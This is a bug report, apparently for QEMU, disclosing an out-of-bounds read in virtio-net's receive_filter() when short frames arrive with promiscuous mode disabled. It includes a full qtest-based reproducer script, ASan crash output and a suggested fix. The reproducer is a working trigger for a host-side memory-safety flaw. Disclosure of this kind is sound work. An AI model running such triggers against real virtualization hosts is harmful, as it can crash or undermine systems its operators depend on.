hw/net/virtio-net: receive_filter() reads past short network frames when promiscuous mode is disabled
## Summary
I can trigger a host-side AddressSanitizer heap-buffer-overflow READ in current QEMU master through the `virtio-net-pci` receive filtering path on `q35`.
The crash is in `receive_filter()`:
```c
static int receive_filter(VirtIONet *n, const uint8_t *buf, int size)
{
static const uint8_t bcast[] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
static const uint8_t vlan[] = {0x81, 0x00};
uint8_t *ptr = (uint8_t *)buf;
int i;
if (n->promisc)
return 1;
ptr += n->host_hdr_len;
if (!memcmp(&ptr[12], vlan, sizeof(vlan))) {
int vid = lduw_be_p(ptr + 14) & 0xfff;
...
}
if (ptr[0] & 1) {
if (!memcmp(ptr, bcast, sizeof(bcast))) {
...
}
...
}
...
}
```
When `n->promisc` is disabled, the filter reads Ethernet/VLAN fields at fixed offsets without first checking that the received packet is long enough. A one-byte packet queued by the network backend reaches `receive_filter()` after the guest disables promiscuous mode via the virtio-net control virtqueue, causing an out-of-bounds read at `memcmp(&ptr[12], vlan, 2)`.
This does not require the RSC feature-negotiation issue. It uses negotiated `VIRTIO_NET_F_CTRL_VQ`, `VIRTIO_NET_F_CTRL_RX`, and `VIRTIO_F_VERSION_1`.
## Environment
Reproduced on current master:
- QEMU commit: `60533c6193ede6ce403e82d09d82ae2bc8fb423a`
- build: `../configure --target-list=x86_64-softmmu --enable-asan --disable-werror`
- machine used by reproducer: `q35`
- device: `virtio-net-pci`
- network backend used by reproducer: `-netdev socket,...`
## Security boundary note
The reproducer uses qtest only for deterministic PCI/virtio register, control virtqueue, and RX virtqueue operations. The affected path is the `virtio-net-pci` emulated network device receive filter exposed to a guest when `virtio-net-pci` is configured on an x86_64 `q35` virtualization machine.
The guest-accessible part of the reproducer disables promiscuous mode through the normal virtio-net control queue and then supplies an RX buffer. The short packet is delivered through QEMU's socket network backend and queued in QEMU's normal network queue. This should be treated as a virtio-net receive filtering issue involving guest-configured device state and network input, not as a qtest-only issue.
## Steps to reproduce
Build an ASan QEMU:
```text
mkdir build-asan
cd build-asan
../configure --target-list=x86_64-softmmu --enable-asan --disable-werror
ninja -j$(nproc) qemu-system-x86_64
cd ..
```
Save the following as `repro_virtio_net_receive_filter_short_frame_oob.sh`:
```sh
#!/usr/bin/env bash
set -euo pipefail
QEMU=${QEMU:-./build-asan/qemu-system-x86_64}
python3 - "$QEMU" <<'PY'
import os, re, socket, struct, subprocess, sys, tempfile, time
qemu = sys.argv[1]
ls = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ls.bind(("127.0.0.1", 0))
port = ls.getsockname()[1]
ls.close()
qtest_path = tempfile.mktemp(prefix="qemu-qtest-", dir="/tmp")
cmd = [
qemu, "-display", "none", "-nodefaults", "-machine", "q35,accel=qtest",
"-m", "128M",
"-netdev", f"socket,id=n0,listen=127.0.0.1:{port}",
"-device", "virtio-net-pci,netdev=n0,addr=03.0",
"-qtest", f"unix:{qtest_path},server=on,wait=off",
]
env = os.environ.copy()
env["ASAN_OPTIONS"] = "detect_leaks=0:abort_on_error=1:halt_on_error=1:symbolize=1"
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, env=env)
try:
deadline = time.time() + 5
qsock = None
while time.time() < deadline:
try:
qsock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
qsock.connect(qtest_path)
break
except OSError:
time.sleep(0.05)
if qsock is None:
raise RuntimeError("could not connect to qtest")
qf = qsock.makefile("rwb", buffering=0)
def q(cmd):
try:
qf.write((cmd + "\n").encode())
qf.flush()
line = qf.readline()
return line.decode(errors="replace").strip() if line else ""
except Exception:
return ""
def qint(cmd):
r = q(cmd)
m = re.search(r"0x([0-9a-fA-F]+)", r)
return int(m.group(1), 16) if m else 0
BAR = 0xE0004000
COMMON = BAR
NOTIFY = BAR + 0x3000
Q0_DESC, Q0_AVAIL, Q0_USED, RX_BUF = 0x10000, 0x20000, 0x30000, 0x40000
Q2_DESC, Q2_AVAIL, Q2_USED = 0x50000, 0x51000, 0x52000
CTRL_BUF, STATUS_BUF = 0x53000, 0x54000
cmds = [
"outl 0xcf8 0x80001820", f"outl 0xcfc 0x{BAR:08x}",
"outl 0xcf8 0x80001824", "outl 0xcfc 0x00000000",
"outl 0xcf8 0x80001804", "outw 0xcfc 0x0006",
f"writeb 0x{COMMON+0x14:x} 0x00", f"writeb 0x{COMMON+0x14:x} 0x01",
f"writeb 0x{COMMON+0x14:x} 0x03",
# CTRL_VQ | CTRL_RX, and VERSION_1
f"writel 0x{COMMON+0x8:x} 0x0", f"writel 0x{COMMON+0xc:x} 0x00060000",
f"writel 0x{COMMON+0x8:x} 0x1", f"writel 0x{COMMON+0xc:x} 0x00000001",
f"writeb 0x{COMMON+0x14:x} 0x0b",
# Control queue 2.
f"writew 0x{COMMON+0x16:x} 0x0002", f"writew 0x{COMMON+0x18:x} 0x0008",
f"writew 0x{COMMON+0x1a:x} 0xffff",
f"writeq 0x{COMMON+0x20:x} 0x{Q2_DESC:016x}",
f"writeq 0x{COMMON+0x28:x} 0x{Q2_AVAIL:016x}",
f"writeq 0x{COMMON+0x30:x} 0x{Q2_USED:016x}",
f"writew 0x{COMMON+0x1c:x} 0x0001",
]
for c in cmds:
assert q(c).startswith("OK"), c
q2_notify_off = qint(f"readw 0x{COMMON+0x1e:x}")
# Control command: class=RX(0), cmd=PROMISC(0), on=0.
ctrl_cmds = [
f"write 0x{CTRL_BUF:x} 0x3 0x000000", f"writeb 0x{STATUS_BUF:x} 0xff",
f"writeq 0x{Q2_DESC:x} 0x{CTRL_BUF:016x}", f"writel 0x{Q2_DESC+8:x} 0x00000003",
f"writew 0x{Q2_DESC+12:x} 0x0001", f"writew 0x{Q2_DESC+14:x} 0x0001",
f"writeq 0x{Q2_DESC+16:x} 0x{STATUS_BUF:016x}", f"writel 0x{Q2_DESC+24:x} 0x00000001",
f"writew 0x{Q2_DESC+28:x} 0x0002", f"writew 0x{Q2_DESC+30:x} 0x0000",
f"writew 0x{Q2_AVAIL:x} 0x0000", f"writew 0x{Q2_AVAIL+2:x} 0x0001",
f"writew 0x{Q2_AVAIL+4:x} 0x0000",
f"writeb 0x{COMMON+0x14:x} 0x0f",
f"writew 0x{NOTIFY+q2_notify_off:x} 0x0002",
"clock_step 10000000",
]
for c in ctrl_cmds:
q(c)
nsock = socket.create_connection(("127.0.0.1", port), timeout=3)
nsock.sendall(struct.pack("!I", 1) + b"\x01")
time.sleep(0.1)
rx_cmds = [
f"writew 0x{COMMON+0x16:x} 0x0000", f"writew 0x{COMMON+0x18:x} 0x0008",
f"writew 0x{COMMON+0x1a:x} 0xffff",
f"writeq 0x{COMMON+0x20:x} 0x{Q0_DESC:016x}",
f"writeq 0x{COMMON+0x28:x} 0x{Q0_AVAIL:016x}",
f"writeq 0x{COMMON+0x30:x} 0x{Q0_USED:016x}",
f"writew 0x{COMMON+0x1c:x} 0x0001",
f"writeq 0x{Q0_DESC:x} 0x{RX_BUF:016x}", f"writel 0x{Q0_DESC+8:x} 0x00001000",
f"writew 0x{Q0_DESC+12:x} 0x0002", f"writew 0x{Q0_DESC+14:x} 0x0000",
f"writew 0x{Q0_AVAIL:x} 0x0000", f"writew 0x{Q0_AVAIL+2:x} 0x0001",
f"writew 0x{Q0_AVAIL+4:x} 0x0000",
]
for c in rx_cmds:
q(c)
q0_notify_off = qint(f"readw 0x{COMMON+0x1e:x}")
q(f"writew 0x{NOTIFY+q0_notify_off:x} 0x0000")
q("clock_step 10000000")
time.sleep(0.5)
finally:
try:
out, err = proc.communicate(timeout=1)
except subprocess.TimeoutExpired:
proc.kill()
out, err = proc.communicate()
try:
os.unlink(qtest_path)
except FileNotFoundError:
pass
sys.stderr.write(err.decode(errors="replace"))
PY
```
Run:
```text
chmod +x repro_virtio_net_receive_filter_short_frame_oob.sh
./repro_virtio_net_receive_filter_short_frame_oob.sh
```
## ASan output
```text
ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 2
#0 MemcmpInterceptorCommon
#1 memcmp
#2 receive_filter ../hw/net/virtio-net.c:1749
#3 virtio_net_receive_rcu ../hw/net/virtio-net.c:1938
#4 virtio_net_do_receive ../hw/net/virtio-net.c:2061
#5 virtio_net_receive ../hw/net/virtio-net.c:2679
#8 qemu_net_queue_deliver ../net/queue.c:164
#9 qemu_net_queue_flush ../net/queue.c:275
#12 virtio_net_handle_rx ../hw/net/virtio-net.c:1625
allocated by thread T0 here:
#0 malloc
#1 g_malloc
#2 qemu_net_queue_send ../net/queue.c:206
#5 net_socket_rs_finalize ../net/socket.c:148
SUMMARY: AddressSanitizer: heap-buffer-overflow ../hw/net/virtio-net.c:1749 in receive_filter
ABORTING
```
## Suggested fix
`receive_filter()` should validate the packet length before parsing fixed Ethernet/VLAN offsets. For example:
```c
if (size < n->host_hdr_len + sizeof(struct eth_header)) {
return 0; /* or bypass/drop consistently with the RX path policy */
}
```
The VLAN branch also needs an additional length check before reading `ptr + 14`.
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